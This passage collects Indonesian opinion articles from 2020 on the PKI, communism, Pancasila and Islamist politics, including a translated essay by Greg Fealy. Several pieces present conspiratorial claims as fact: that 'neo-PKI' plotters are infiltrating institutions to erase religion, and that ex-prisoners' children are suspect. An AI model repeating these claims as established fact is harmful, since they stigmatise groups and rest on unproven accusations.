sejarah PKI yang akan menjadi referensi dalam kurikulum sekolah. Kedua tuntutan ini, tidak atau belum mampu dipenuhi Jokowi. Sebab, ini akan sangat berisiko secara politik. Jokowi tidak, bukan hanya akan berhadapan dengan TNI, tetapi juga dengan umat Islam. Muncul pertanyaan publik, apakah lahirnya RUU HIP adalah bagian dari alternatif perjuangan PKI setelah gagal mendesak Jokowi meminta maaf kepada PKI dan menghapus film G 30 S PKI? Atau itu bagian yang menyatu dan menjadi satu kesatuan strategi? Menjawab ini perlu sedikit riset dan diskusi lebih panjang. Tak seperti biasanya, tahun ini dinamika ke-PKI-an ramai, jauh sebelum bulan september. Bulan dimana PKI selalu jadi tema utama. Bulan dimana keluarga para Jenderal revolusi itu menahan emosi. Dan bulan dimana para eks PKI dan anak-anak biologisnya sedang dapat panggung untuk branding diri di media. Hal ini telah memunculkan tanda tanya, bahkan kecurigaan publik, apakah PKI akan bangkit kembali? Setelah era reformasi membuka ruang bagi eks dan anak-anak biologis PKI untuk memdapatkan hak politik dan sosialnya, "wajar jika" kemudian mereka menggunakan kesempatan itu untuk bangkit. Hidup dalam tekanan dan dendam biasanya akan memicu lahirnya perlawanan. Secara psikologis, masyarakat yang lama tertekan karena hak-hak politik dan sosialnya dicabut akan bangkit dan melakukan perlawanan saat kesempatan datang. Mereka tak ingin semua penderitaannya selama ini sia-sia. Tak ubahnya dengan apa yang dilakukan para eks tahanan politik (tapol). Mereka terus berusaha untuk berdiri, bangkit dan mengisi sejumlah posisi strategis. Hanya saja, sebelum TAP MPRS No 25 Tahun 1966 yang melarang PKI dicabut, siapapun yang ingin bengkitkan PKI harus melakukannya dengan pola gerakan bawah tanah. Jangan coba-coba terang-terangan. Sebab pastinya akan berhadap-hadapan dengan TNI dan umta Islam. Sulit membayangkan mereka bisa terima semua penderitaan selama 32 tahun itu, lalu pasrah saja. Sementara kesempatan untuk melakukan konsolidasi dan memulai perlawanan sudah sangat terbuka saat ini. Mereka bisa membangun gerakan bawah tanah, menyusupkan para anggotanya di partai dan berbagai kelembagaan/institusi negara. Sekali lagi, ini hanya cara berpikir dan pemahaman logis. Menarik jika dicari dan diinvestigasi datanya. Anggap saja ini hipotesis. Perlu pembuktian. Namun jika kita memahaminya dengan pendekatan teori marxisme dan gerakan leninisme, maka akan semakin sulit menyimpulkan bahwa PKI mati. Maaf! Jadi agak berat diskusinya. Munculnya kecurigaan dan kewaspadaan terhadap kebangkitan PKI sesungguhnya berbasis pada pengetahuan ilmiah yang diambil dari teori komunisme ala marxis itu sendiri. Juga gerakan revolusioner komunisme di berbagai negara, serta trauma sejarah pemberontakan PKI di Indonesia. Jika Marx berani bilang bahwa hukum sejarahnya itu ilmiah, maka kecurigaan terhadap kebangkitan PKI di Indonesia itu juga ilmiah. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Pluralisme Represif Pemerintahan Jokowi

Pengantar: Sejak Ahok kalah pada Pilkada DKI 2017, pemerintahan Jokowi sangat represif terhadap gerakan Islam. Mengapa Profesor dari Australia Greg Fealy menyebut ada kepentingan PDIP dan NU di balik kebijakan represif dan tidak demokratis itu? Oleh Greg Fealy, Australian National University Jakarta FNN - Senin (28/09). Selama empat tahun terakhir, pemerintahan Presiden Indonesia Joko Widodo telah melakukan kampanye penindasan yang terpadu dan sistematis terhadap kaum Islamis. Ini mungkin kabar baik bagi mitra Barat Indonesia —terutama Australia— di mana survei berulang kali menunjukkan bahwa banyak yang takut akan meningkatnya konservatisme dan militansi Islam Indonesia. Tetapi Australia dan negara-negara lain harus prihatin dengan kebijakan anti-Islamis Indonesia, karena itu mengikis hak asasi manusia, merusak nilai-nilai demokrasi, dan dapat dengan baik menyebabkan reaksi radikal terhadap apa yang dilihat sebagai antipati negara yang berkembang terhadap Islam. Beberapa penjelasan diperlukan tentang siapa para Islamis ini dan tindakan apa yang diambil terhadap mereka. Umumnya, istilah 'Islamist' digunakan untuk menggambarkan Muslim yang berusaha menjadikan hukum dan nilai-nilai Islam sebagai bagian sentral dari kehidupan publik dan struktur negara. Ini bisa merujuk pada berbagai kelompok, dari mereka yang membentuk partai dan mengikuti pemilu dalam sistem demokrasi, hingga jihadis militan yang menggunakan kekerasan untuk mencapai tujuan mereka. Pemerintah Indonesia sering melihat Islamis sebagai 'ekstremis', termasuk dalam kategori ini tidak hanya teroris dan pendukung ISIS, tetapi juga anggota atau simpatisan partai-partai Islam dan organisasi masyarakat yang tidak melanggar hukum. Apa yang disebut kelompok 'Islamis trans-nasional' secara khusus dianggap dengan kecurigaan - ini berasal dari atau menarik inspirasi dari gerakan Timur Tengah atau Asia Selatan, dan dipandang membawa pengaruh 'asing' dan fundamentalis ke Indonesia. Contoh bagusnya adalah Partai Keadilan Sejahtera yang diilhami oleh Ikhwanul Muslimin (PKS), yang telah terdaftar sejak 1998 dan menjadi bagian dari koalisi pemerintahan selama 11 dari 22 tahun terakhir. PKS memiliki catatan sempurna dalam bermain sesuai aturan permainan demokrasi, namun banyak dari anggotanya yang menjadi sasaran tindakan represif dan diskriminatif oleh negara. Represi negara dapat terjadi dalam berbagai bentuk. Pegawai negeri, akademisi dan guru yang dianggap oleh badan keamanan negara aktif dalam kelompok-kelompok yang dicurigai sebagai kelompok Islam dapat dimasukkan dalam 'daftar pantauan' dan diperingatkan oleh atasan mereka, bahwa kegiatan keagamaan atau politik mereka tidak dapat diterima. Karirnya akan tersendat dan mentok, jika tidak mengubah perilaku mereka. Proses serupa terjadi di badan usaha milik negara dan perusahaan swasta. Beberapa Islamis telah disingkirkan dari posisi strategis atau ditolak promosinya. Banyak kementerian telah memperkenalkan semacam skrening dalam perekrutan pegawai baru untuk menyaring mereka yang dicurigai mempunyai pandangan Islamis. Ribuan, mungkin puluhan ribu, Islamis telah menjadi sasaran kampanye ini. Tujuannya tampaknya untuk menekan kaum Islamis agar melepaskan keyakinan mereka, atau berhenti mengungkapkan pandangan mereka secara terbuka di tempat kerja. Mengapa pemerintah Jokowi yang mengaku memegang teguh prinsip toleransi dan pluralisme melakukan tindakan tersebut? Sebagian besar partai dalam koalisi yang berkuasa Jokowi, dan terutama Partai Demokrasi Indonesia Perjuangan (PDI-P), telah melihat Islamisme sebagai ancaman eksistensial bagi Indonesia dan tradisi netralitas agama konstitusional dan inklusivitas sosial. Mereka menganggap para Islamis sebagai pemecah belah karena mereka berusaha untuk mengistimewakan Muslim dan hukum Islam di dalam negara dan masyarakat. Dengan demikian menyangkal prinsip-prinsip yang mendasari negara itu. Pandangan ini juga dianut oleh organisasi Islam arus utama seperti Nahdlatul Ulama dan partai politik sekutunya (PKB) yang merupakan bagian dari koalisi yang berkuasa. Jokowi dan partai-partai pemerintah sangat khawatir pada tahun 2016-2017 ketika kelompok-kelompok Islamis memobilisasi ratusan ribu Muslim di jalan-jalan Jakarta untuk memprotes pernyataan Gubernur Ahok, Kristen Cina yang diduga menghujat Al-Qur'an. Gubernur, yang tampaknya akan meraih kemenangan besar sebelum tuduhan penistaan ​​agama, dikalahkan dalam pemilihan gubernur April 2017 dan kemudian dipenjara selama dua tahun. Peristiwa ini meyakinkan banyak orang di pemerintahan, bahwa tindakan bersama diperlukan untuk menghentikan gelombang pasang Islamisme. Memang, lebih dari beberapa menteri percaya bahwa jika Islamisme tidak dibendung dan dinegasikan selama sisa tahun kepresidenan Jokowi, maka Islamisme akan menjadi terlalu kuat untuk dikendalikan. Validitas pandangan ini dipertanyakan. Tentu saja, ekspresi konservatif Islam sedang berkembang di Indonesia, seperti halnya religiusitas konservatif yang meningkat di banyak negara Asia dan negara Barat lainnya. Tapi ini belum mengambil manifestasi politik yang koheren. Banyak Muslim konservatif menghindari politik praktis dan tidak ada partai Islam yang mampu memenangkan lebih dari 8 persen suara dalam empat pemilihan terakhir. Ya, Islamis memang menjatuhkan mantan gubernur Jakarta non-Muslim, tapi kasus itu melibatkan penistaan, yang selalu menimbulkan emosi dan semangat yang intens - tapi biasanya berumur pendek - di jalanan. Sejak saat itu, gerakan Islamis terus berjuang namun gagal mengulangi kesuksesan tahun 2016-2017. Lebih buruk lagi bagi kaum Islamis, kandidat presiden yang mereka dukung dalam pemilu 2014 dan 2019, Prabowo Subianto, tiba-tiba berubah setelah pemilu tahun lalu, bergabung dengan pemerintahan baru Jokowi sebagai Menteri Pertahanan. Hal ini membuat kaum Islamis putus asa dan kacau. Jadi, sulit untuk mengatakan bahwa Islamisme membahayakan sistem politik Indonesia. Jika Indonesia memang menghargai toleransi dan keragaman, ia harus menerima legitimasi wacana Islam dan kegiatan asosiasi. Kebanyakan pandangan Islamis tidak bertentangan dengan hukum atau peraturan. Menekan Islamisme justru menekan ruang sipil dan membuat Indonesia kurang demokratis. Pemerintah Australia, mengingat telah lama mempromosikan Islam 'moderat' di Indonesia, seharusnya khawatir dengan kampanye anti-Islam. Pada saat banyak orang yang memiliki hak politik di Australia mencela apa yang mereka anggap meremehkan atau membatasi hak-hak orang Kristen konservatif di negara mereka sendiri, mereka juga harus mengadvokasi agar hak serupa diberikan kepada komunitas agama konservatif lainnya di Indonesia sebagai baik, termasuk Islamis. Toleransi keragaman agama harus menjadi penanda demokrasi yang matang dan kokoh. *) Greg Fealy adalah Profesor Madya Politik Indonesia di Departemen Perubahan Sosial dan Politik, Universitas Nasional Australia. Sumber : https://www.eastasiaforum.org/2020/09/27/jokowis-repressive-pluralism/

Komunisme Dan Liberalisme Menjepit Pancasila

by Mayjen TNI (Purn.) Prijanto “Maafkan, Lord Russell. Saya kira tuan melupakan adanya lebih daripada seribu juta rakyat, rakyat Asia dan Afrika, dan mungkin pula rakyat-rakyat Amerika Latin, yang tidak menganut ajaran Manifesto Komunis ataupun Declaration of Independence”. (Bung Karno, 1960, Sidang Majelis Umum PBB). Jakarta FNN – Senin (28/09). Cuplikan pidato Bung Karno di atas, ketika mengenalkan Pancasila sebagai Dasar Negara Indonesia. Bung Karno dengan gamblang dan berani mengatakan Indonesia tidak dipimpin oleh konsep komunis ataupun liberalis. Indonesia dipimpin oleh nila-nilai, gagasan, cita-cita yang terkandung dalam kehidupan bangsa Indonesia, dengan nama Pancasila. Genderang “beda ideologi” ditabuh Bung Karno dalam sidang bergengsi negara-negara dunia (Sidang Majelis Umum PBB). Walaupun sesungguhnya mereka atau asing sudah tahu sejak kemerdekaan Indonesia, 17 Agustus 1945, Negara Indonesia berdasarkan Pancasila. Komunisme Versus Pancasila Komunisme dibawa ke Hindia-Belanda (Indonesia) oleh J.F Marie Sneevliet, 1913. Mendirikan Indische Sociaal Democratische Vereeniging (ISDV), anggota 85 (delapan puluh lima) orang Belanda totok, dengan propaganda komunisme, pada 23/5/1914. Semaun, Darsono dan Alimin, anggota Sarikat Islam masuk ISDV. Pada 23 Mei 1920, ISDV berubah menjadi Perserikatan Komunis di Hindia (PKH) dengan Ketua Semaun dan Darsono sebagai Wakil. PKH berubah menjadi Partai Komunis Indonesia (PKI) pada 1924. Pemberontakan PKI terhadap kolonial Belanda, 1926/1927, terkait perjuangan Komunisme Internasional. Setelah Indonesia merdeka, Peristiwa Madiun, pimpinan Muso, 18/9/1948, menghendaki satu kelas buruh aliran Marxisme-Leninisme dan mendirikan pemerintahan “Komite Front Nasional”, bekerjasama dengan Uni Soviet. Satu bukti pemberontakan PKI untuk mengganti Pancasila. Keterdekatan Bung Karno dengan Presiden Mao Zedong dan PM Chou Enlai tahun 1960-an, membentuk poros Jakarta-Peking. Hubungan PKI pimpinan DN. Aidit dengan Partai Komunis China, menambah catatan kegiatan menjelang G.30.S/PKI. PKI meniupkan isu Dewan Jenderal yang akan menculik Bung Karno. Tetapi didahului Komandan G.30.S/PKI Letkol Untung, Komandan Cakrabirawa, pasukan pengawal Presiden. Pasukan Letkol Untung menculik dan membunuh 7 (tujuh) Perwira AD, pada 30 September 1965 dan membuangnya ke dalam sumur secara biadab, di Lubang Buaya Halim. Korban penculikan itu kita kenal sebagai 7 (tujuh) Pahlawan Revolusi. Persidangan Mahkamah Militer Luar Biasa (Mahmilub) mengadili pentolan G.30.S/PKI secara terbuka, dokumen di Arsip Nasional, Perpustakaan Nasional, Museum dan Monumen, yang berserakan di tanah air adalah bukti dan saksi. Tragedi 1965, jelas pemberontakan PKI, yang ingin mengganti Pancasila dengan faham komunisme adalah fakta sejarah. Tuntutan rakyat dan keputusan pembubaran PKI sebagai organisasi terlarang, dan larangan penyebaran ajaran komunisme/marxisme-Leninisme, langkah yang benar dan tepat. Tidak mungkin dalam satu negara ada dua ideologi yang bertentangan. (Ketetapan MPRS No. XXV/MPRS/1966). Peringatan Hari Kesaktian Pancasila Gerakan 30 September PKI gagal. Tanggal 1 Oktober 1965 adalah tonggak Hari Kesaktian Pancasila. Isu kelasik seputar G30S/PKI selalu muncul menjelang peringatan, terasa membosankan. Namun, bagi generasi muda, menjadi isu menarik, penting dan perlu agar generasi muda tidak termakan propaganda. Tidak termakan provokasi dan agitasi yang dibangun ideolog komunis dan simpatisannya. Film G30S/PKI tidak perlu diputar. Lho, kenapa? Itu film sejarah, seperti film 10 November. Film G30S/PKI itu rekayasa dan mengkultuskan orang. Siapa bilang? Kalau rekayasa, cocokkan saja dengan dokumen sejarah, sebut adegan apa, menit berapa yang tidak benar. Kalau kultuskan tokoh? Apa memang ada film tanpa tokoh dan peran utama? Film 10 November misalnya, tokoh dan peran uatamaya adalah Bung Tomo. Begitu juga dengan Film Tunggul Ametung, yang tokohnya ya Tunggul Ametung, Ken Dedes dan Ken Arok. Memanya ada yang aneh? Gaduh nasional dari tahun ke tahun terjadi. Satu pihak ingin melarang film G30S/PKI. Ingin menghapus sejarah G30S/PKI, dengan bilang PKI korban. Sedangkan Soeharto dalang PKI, dan lain sebagainya. Pihak lain, memperingati untuk mengingatkan bahaya laten PKI terhadap Pancasila. Gaduh nasional yang tak percaya sejarah, menunjukkan kekerdilan dalam memaknai sejarah. Bagaimana tidak? Negara pasti punya dokumen sebagai bukti sejarah. Tidak tepat jika kita bilang “sejarah itu milik penguasa atau pemenang”. Inilah contoh kekerdilan dalam berpikir dan penghargaan kepada pahlawan. Liberalisme Versus Pancasila Dalam pertarungan kepentingan politik global, mendemokratisasikan negara tidak hanya oleh aktor dalam negeri. Keikutcampuran aktor internasional negara-negara liberal kapitalis, melalui organisasi internasional seperti United Nations Develepment Program (UNDP) dan United State Agency for International Develepment (USAID) bisa saja terjadi. LSM asing seperti Institute of Democracy and Electoral Assistance (IDEA), Internasional Foundation for Election System (IFES), National Democratic Institute (NDI) dan International Republican Institution (IRI) dan LSM domestik Centre for Electoral Reform (Cetro) terlibat dalam amandemen UUD 1945. (Valina Singka Subekti, 2007, Menyusun Konstitusi Transisi). Pilpres secara langsung ala Amerika, adalah hasil amandemen yang paling memprihatinkan. Demokrasi “one man, one vote” bukan demokrasi bangsa Indonesia. Bukan demokrasi dalam nilai-nilai Pancasila. Bung Karno saja, tahun 1960 sudah berani mengatakan kepada dunia, sila ke-4 Pancasila adalah dasar demokrasi bangsa Indonesia. Banyak pasal-pasal hasil amandemen UUD 1945 bertentangan dengan Pancasila. Bahkan cenderung ke liberal. Pilpres langsung yang membuat disharmoni kehidupan, robeknya persatuan dan konflik sepanjang masa, melahirkan pertanyaan kritis. Apakah itu semua bertujuan memecah belah, agar mereka bisa menguasai Indonesia tanpa menduduki untuk hidupnya? Ideologi Untuk Mencari Hidup Komunisme di dunia itu sudah mati. Begitu celoteh orang tertentu, bahkan dia pejabat yang intelektual. Ada apa dibalik celotehnya? Padahal dia yang tahu, namun yang pasti itu pernyataan ngawur dan nagco. Banyak negara-negara di dunia yang komunisnya masih hidup. Republik Rakyat China (RRC) dalam anatomi negaranya saja, ada yang disebut Communist Party of China (CPC), Central Military Commission (CMC), State Council (SC) dan National People Congres (NPC). Konon untuk militernya saja, sumpah kesetian yang pertama adalah kepada partai, baru kepada negara. Ideologi akan memberikan dasar paradigma, apa yang harus dilakukan negara. Kebutuhaan hidup papan, pangan, air, energi dan sumber kakayaan alam untuk rakyatnya menjadi lebih dominan dibanding sekedar mencari pengikut agar negara lain mengikuti ideologinya. Teritorial Indonesia yang luas dengan pantai yang landai, menggiurkan untuk direklamasi, menjadi incaran negara yang memiliki ledakan penduduk tinggi. Bagi negara yang miskin sumber daya alam, miskin sumber energi, akan tergiur dengan kekayaan Indonesia. Artinya, tidak berlebihan jika Indonesia menjadi incaran negara-negara dunia. Berpegang teguh kepada Pancasila sebagai alat pemersatu bangsa, menghayati dan mengamalkan nilai-nilai Pancasila, akan mampu mencegah, agar tidak menjadi pengkhianat dan kompradornya asing yang mencari hidup di Indonesia. Mari kita bangkit, bersatu, bergerak, berubah agar kita tidak punah. Semoga Tuhan YME memberikan kejayaan bagi Indonesia. Amin. Penulis adalah Wagub DKI Jakarta 2006-2012 & Rumah Kebangkitan Indonesia.

Melawan Komunisme (Bagian-1)

by Dr. Masri Sitanggang Jakarta FNN – Senin (28/09). Komunisme itu paham. Bukan organisasi dan bukan pula nasab. Orang bisa saja menjadi komunis tanpa harus terdaftar sebagai anggota organisasi komunis seperti Partai Komunis Indonesia (PKI). Bukan pula dari keturunan atau anak komunis. Jadi, jangan salah sangka. Orang berfaham, lebih tepat lagi ideologi komunis bisa berada di organisasi apa saja. Mulai dari organisasi sosial kemasyarakatan, propesi , keagamaan sampai organisasi partai politik. Begitu juga soal nasab, anak yang lahir dari seorang alim pun bisa jadi terjangkit faham komunis. Sebaliknya, anak seorang komunis belum tentu juga sepaham dengan komunis. “Dik Gaffar, kamu ajari saya agama. Nanti kamu saya ajari Marxisme,” kata Sukarno satu ketika. Yang dipanggilnya “dik Gaffar” adalah A. Gaffar Ismail, ayah dari Taufiq Ismail, dokter hewan yang lebih dikenal sebagai penyair itu. Taufiq Ismail menceritakan kisah persahabatan Sokarno dengan ayahnya itu dalam “Katastrofi Mendunia” (2004). Sukarno, yang begitu menghargai ilmu, lebih dahulu dipenuhi oleh ajaran Karl Marx, “nabi” -nya orang-orang Sosialis-komunis. Dia bangga menguasai Marxisme, sehingga berani menawarkan barter dengan pengajaran”ilmu-ilmu” Islam. Boleh jadi, sebagai muslim yang belum “terisi” dengan hakikat islam, Soekarno memandang Islam sebagai sebuah cabang Ilmu yang setara degan Marxisme. Ya, hanya sebuah ilmu dalam tumpukan ilmu-ilmu sosial dan budaya. Maka, Soekarno yang rajin bertanya soal-soal Islam kepada Gaffar dan Hasan Bandung. Itu pun Soekarno tetap sebagai seorang nasionalis sekuler, dan memimpin Partai Nasionalis Indonesia (PNI). Pemikiran Soekarno tentang ke-Islaman dan sosial kemasyarakatan tidak lepas dalam perspektif ilmu-ilmu sekuler itu, sehingga tulisan-tulisannya sering mengundang tanggapan kritis dari Mohammad Natsir, tokoh Partai Islam Masyumi. Begitu pun dalam langkah selanjutnya. Ketika menjadi Presiden Indonesia, Soekarno menggabungkan ideologi nasionalisme, agama dan komunisme yang dikenal dengan Nasakom. Masyumi menolak ideologi gabungan itu, sehingga Masyumi diultimatum untuk dibubarkan oleh Presiden Soekarno atas desakan PKI. Itulah Soekarno, lebih dekat ke komunis dari pada Islam. Bagaimana dengan ayah sang Penyair Taufiq Ismail? Meski pun di -coach langsung oleh mentor besar Marxisme, Soekarno, tetapi Gaffar tidak lantas jadi Komunis. Ikut Soekarno di Partai Nasionalis Indonesia (PNI) pun tidak. Ia justeru aktif di Partai Islam Masyumi yang anti Komunis. Itu karena sikap dan pandangan hidupnya telah dibentuk oleh Islam terlebih dahulu. Putra Minang ini tamatan Sumatera Thawalib Parabek dan pernah nyantri di Padang Panjang. Sikap dan pandangan hidup seseorang itu sangat ditentukan oleh pengajaran. Ajaran apa yang lebih awal atau lebih intens diterima, lebih kuat mempengaruhi dan memenuhi pikirannya. Jadi, jangan main-main dengan pangajaran. Ia adalah mesin cetak keperibadian dan pandangan hidup seseorang. Semaoen, Darsono, Tan Malaka dan Alimin Prawirodirdjo (orang-orang Indonesia pertama yang jadi komunis) awalnya adalah pengikut H.O.S Tjokroaminoto, sebagai anggota Sarekat Islam (SI). Bahkan pernah menduduki jabatan penting di SI. Semaoen misalnya, menjadi Ketua SI Semarang. Tetapi mereka kemudian menjadi tokoh penting pula di Partai Komunis Indonesia (PKI), partai yang pernah beberapa kali menorehkan sejarah kelam bangsa ini, dan di pecat dari SI. Semaoen menjadi anggota SI pada 1914 di afdeeling Surabaya. Usianya terbilang masih terlalu muda, 14 tahun. Setahun kemudian, 1915, Samaoen berkenalan dan akrab dengan seorang sosialis Belanda, Sneevliet, ketua Indische Sosial Democratische Vereniging (ISDV) dan Persatuan Buruh Kereta Api dan Trem Vereniging van Spoor en Tramweg Personcel (VSTP) di Semarang. Semaoen bersimpati berat kepada Sneevliet dan menyapa orang Belanda itu sebagai “guru”. Tidak salah juga. Karena di tengah orang-orang Belanda bermental kolonial dan merasa superior, Sneevliet justeru menawarkan persamaan dan semangat revolusiner. Maka, Semaoen pun ikut aktif di dua organisasi beraliran komunisi itu. Alimin dan Darsono ikut pula di ISDV. Penguasaan bahasa Belanda yang baik, minat belajar yang sangat kuat dan hubungan dekatnya dengan Sneevliet membuat Semaoen dipercaya sebagai ketua propagandis VSTP dan mendapat gaji. Jabatan ini membuat Semaoen harus intens mempelajari ideologi Marxis, dan harus pindah pula ke Semarang, tempat kedudukan Pengurus besar VSTP, Juli 1916. Setahun kemudian, tepatnya 6 Mei 1917, dia terpilih pula menjadi ketua SI Semarang. Semaoen mengganti ISDV menjadi Partai Komunis Hindia, 23 Mei 1920. Ia menduduki posisi ketua dan Darsono sebagai Wakil Ketua. Belakangan organisasi ini menjadi Partai Komunis Indonesia (PKI) dan Semaoen adalah ketua pertama, sementara Alimin memimpin Wilayah Jakarta sejak 1918. Pada akhir tahun 1921, Semaoen meninggalkan Indonesia untuk pergi ke Moskow. Kedudukannya di PKI digantikan olehTan Malaka. Setelah kembali ke Indonesia pada bulan Mei 1922, dia mendapatkan kembali posisi Ketua Umum PKI dan mengganti nama SI yang dipimpinnya menjadi Sarekat Rakyat, bagian dari PKI, di tahun 1924. Dari sekilas perjalanan Semaoen dan kawan-kawannya, terbukti bahwa meski pun mereka aktivis SI, tetapi lebih intens mendapat asupan dan bergulat dengan pemikikiran Sosialisme-komunisme Marxis, dari pada Islam. Namun begitu, pada saat itu, Semaoen dan juga orang-orang SI lainnya, kemudian menjadi PKI tidak mengetahui bahwa di dalam ajaran sosialisme Marxisme itu terkandung prinsip-prinsip ateisme yang bertentangan dengan ajaran Islam. Sukendar, Ketua Perwakilan PKI dalam Kongres SI tahun 1922, misalnya, ketika diminta tanggapannya terkait SI yang akan menjadi Partai Sarekat Islam, menyatakan bahwa menjadi komunis bukan berarti tidak percaya adanya Tuhan. Tetapi ia mengakui gerakan mereka netral dalam urusan agama. Orang-orang PKI tak ingin Islam di bawa-bawa ke ranah politik. Hal ini mengagetkan para peserta kongres. Betapa tidak, ada orang yang percaya kepada Allah tetapi netral agama! Jadi, ada yang tidak beres pada diri Semaoen dan kawan-kawannya. Kata Mohammad Hatta, “kalau ada orang komunis yang mengatakan ia percaya pada Tuhan, atau seorang muslim mengaku dirinya Marxis, maka ada yang tidak beres padanya.” Maka, “tidak sedikit orang yang tersinggung karena merasa banyak yang tak beres pada dirinya. Tetapi yang tak tersinggung karena tak tahu, lebih banyak lagi .”, kata Tufiq Ismail. Kalimat terakhir Taufiq Ismail itu justeru menjadi kekhawatiran terbesar kita sekarang ini. Lebih banyak yang tidak tersinggung karena tidak tahu. Betapa banyak orang tidak tahu kalau “netral dalam urusan agama” atau “mengharamkan agama dibawa ke ranah politik” berarti sudah kerasukan bibit faham komunis. Malah, mereka yang tidak tahu itu justeru banyak pula aktivis oraganisasi Islam. Banyak juga yang tidak tahu kemudian terhasut. Misalnya, seperti pemberontakan PKI tahun 1927 di Sumatera Barat. Taufiq Ismail mengutip Brackman menggambarkan pemberontakan itu sebagai, “more in the nature of a ‘holy war’ by Islamic zealots than Communist rebellion”. Pemberontakannya malah berciri Islami ketimbang komunis. Karena komunis adalah faham yang berasal dari pengajaran, maka ajaran yang berbau komunis dalam segala bentuknya memang wajib diharamkan. Yang paling dasar, misalnya ajaran yang merendahkan nilai agama atau ketuhanan. Memisahkan agama dari kehidupan bermasyarakat dan bernegara, atau ajaran netral agama. Sebab, anggapan ini adalah bagian dari ajaran komunis untuk tumbuh berkembangnya komunis lebih lanjut. Adalah tugas dan kewajiban negara mencerdaskan bangsa. Bukan menjadi kewajiban individu dan keluarga. Melalui pendidikan, baik formal mau pun non formal, pemerintah berkewajiban membangun anak bangsa menjadi insan cerdas. Cerdas yang dimaksud adalah cerdas berlandaskan Ketuhanan Yang Maha Esa sesuai dengan cita-cita pendirian negara ini. Oleh karena itu, semua materi ajar dan metode yang digunakan harus mampu mengarahkan anak didik pada pembentukan insan yang cerdas ber-Ketuhahan Yang Maha Esa. Secara khusus, mata pelajaran agama harus mendapat perhatian utama untuk senantiasa ditingkatkan kulitasnya. Mengurangi atau bahkan menghilangkan mata peajaran agama di sekolah, dan menyerahkan pendidikan agama kepada keluarga adalah ide yang sangat keliru. Ini dapat dilihat sebagai langkah melepaskan tanggungjawab negara/pemerintah terhadap pembangunan manusia Indonesia yang ber-Ketuhanan Yang Maha Esa, manusia yang bertaqwa. Upaya untuk melepaskan tanggungjawab negara/pemerintah dalam mencerdaskan bangsa berdasarkan Pancasila. Ini sebagai ide buruk mengingkari Pembukaan UUD 1945. Ide menumbuhkan generasi sekuler, generasi yang menjadi lahan subur tumbuh berkembangnya faham komunisme. Selanjutnya, paham komunis harus dilawan. Secara khusus, pendidikan Islam (Dakwah Islamiyah) harus membekali jemaah untuk mampu mematahkan argumentasi kaum komunis. Konstruksi berpikir Islam berdasarkan Al-Qur’an dan Sunnah Nabi Salallaahu Alaihi Wasallam yang demikian kuat harus dimiliki jemaah, sehingga mampu dengan mudah mematahkan dan membongkar habis pemikiran komunis. Faham dan pemikirankomunis dibangun berdasarkan “Madilog” (material-dialektika- logika). Demikian juga karakter pribadi jemaah harus sampai pada “Inna shalati wanusuki wa mahyaya wa mamati lillah Rabbil ‘alamin”. Sehingga tak adalagi jemaah yang berpikir-laku sukuler dan netral agama. Dakwah Islamiyah harus segera keluar dari lingkup kamar mandi (bersuci) dan menakar pahala dan dosa. Dakwah Islamiyah harus segera memenuhi fungsinya memuaskan intelektualitas dan rohani manusia sekaligus. Jangan biarkan ada ruang kosong dalam kehidupan manusia ini, tanpa terisi oleh Islam. Sehingga faham apa pun tidak akan bisa masuk lagi. Wallah a’lam bisshawab. Penulis adalah Ketua Panitia #Masyumi Reborn & Ketua Komisi di MUI Medan.

Kaum Neo-Komunis dan Neo-PKI Akan Fokus Lenyapkan Agama

by Asyari Usman Jakarta FNN - Minggu (27/09). Prof Salim Said boleh jadi benar bahwa komunisme sudah bangkrut. Tapi, paham komunis itu bangkrut hanya untuk urusan ekonomi. Benar, bahwa sebagai ideologi ekonomi, komunisme itu sudah ringsek total dalam tabrakan ‘laga kambing’ dengan kapistalisme. Betul, bahwa hari ini tidak ada lagi negara komunis yang mampu mempertahankan ajaran ekonomi marxisme-leninisme. Kalaupun bisa disebut sebagai pengecualian, maka Korea Utara (Korut) dan Kuba mungkin satu-satunya yang masih melestarikan ajaran ekonomi sosialis-komunis. Itu pun, Korut dan dan Kuba tetap saja masuk ke dalam perangkap ‘internet’ sebagai simbol baru kapitalisme. Meskipun simbol itu diatur ketat oleh kedua negara itu. Jadi, sekarang ini tidak ada lagi ajaran ekonomi komunis yang bertahan. Hanya tersisa teori-teori dan jejak pemaksaan ekonomi ala komunisme. Itulah kebangkrutan komunisme seperti yang disampaikan oleh Prof Salim Said dan banyak lagi pakar ideologi lainnya. Akan tetapi, itu tidak berarti para penganut ajaran komunis berhenti bergerak. Kebangkrutan di bidang ekonomi bukan bermakna mereka tidak punya basis perjuangan lain. Khususnya di Indonesia. Para penganut paham itu, baik yang mewakili keturunan PKI maupun kader baru komunisme di Indonesia, mengerahkan tenaga, pikiran, dan segala sumberdaya mereka untuk melenyapkan agama –khususnya Islam. Minimal mereka ingin sekali menajuhkan umat, terutama generasi muda, dari agama. Para penganut komunisme, tak diragukan lagi, sangat ingin menghapuskan prinsip Ketuhanan. Terlebih-lebih, ketuhanan yang bersumber dari Islam. Itulah yang sedang mereka perjuangkan saat ini. Dan itu pula yang telah menjadi jejak sejarah ketika PKI melancarkan pemberontakan pada 1948 dan 1965. Mereka menyasar para ulama dan santri. Pesantren-pesantren mereka serang. Ulama, kiyai, dan santri mereka bunuh. Hari ini, pengikut dan simpatisan neo-komunisme dan neo-PKI fokus pada upaya untuk melenyapkan agama. Dengan cara yang kasar maupun dengan cara yang ‘sangat milenial’. Melalui cara yang kasar, mereka bercita-cita untuk menghilangkan Ketuhanan Yang Maha Esa dari Pancasila. Itulah yang mereka tunjukkan secara terang-terangan lewat pengajuan RUU Haluan Ideologi Pancasila (HIP). Ketika kedok HIP itu terbongkar, kemudian diubah menjadi RUU BPIP. Saking kasarnya cara mereka, mereka tak peduli diprotes rakyat. Tidak mau mundur dari RUU anti-Pancasila itu. Melalui cara yang ‘sangat milenial’, neo-komunis dan neo-PKI bercita-cita melenyapkan agama (Ketuhanan Yang Maha Esa) lewat perombakan kurikulum pendidikan. Pendidikan agama Islam menjadi sasaran utama. Dengan berlindung di balik tuduhan radikalisme, pelajaran agama akan ‘disterilkan’ dari elemen-elemen yang mereka cap ‘berbahaya’ menurut pikiran mereka. Kegiatan pendidikan di lingkungan pesantren, diawasi ketat. Tujuan mereka bisa dibaca. Yaitu, ingin menjauhkan generasi muda Islam dari kedekatan dengan Tauhid (Ketuhanan). Mereka berencana akan menumbuhsuburkan budaya Islam tanpa sholat. Tidak perlu membaca atau menghafal al-Quran. Entah berdasarkan apa, akhir-akhir ini dimunculkan kembali 